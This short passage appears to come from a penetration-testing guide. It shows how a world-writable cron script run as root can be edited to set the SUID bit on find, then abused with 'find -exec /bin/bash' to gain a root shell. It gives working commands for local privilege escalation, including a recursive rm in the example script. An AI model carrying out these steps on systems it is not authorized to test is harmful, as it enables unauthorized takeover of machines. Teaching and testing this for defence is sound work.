5.2.3 CronJobs
CronJobs
Example of CronJob definition

This is an example of CronJob in python language that execute a bash command on the system:
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/new_user/disk_clean* ')
except:
sys.exit()
E.g. considering that CronJob has maximum permissions (777):
*/1 * * * * root /home/new_user/disk_cleaner.py
we can modify python script cronjob and execute command to escalate privilege for a normal user:
os.system('rm -r /home/new_user/disk_clean* ') -> 'chmod u+s /usr/bin/find '
waiting 1 minute new_user obtain SUID permissions for find command (ls -l /usr/bin/find) and executing find
command we'll gain root privilege:
find /home -exec "/bin/bash" \;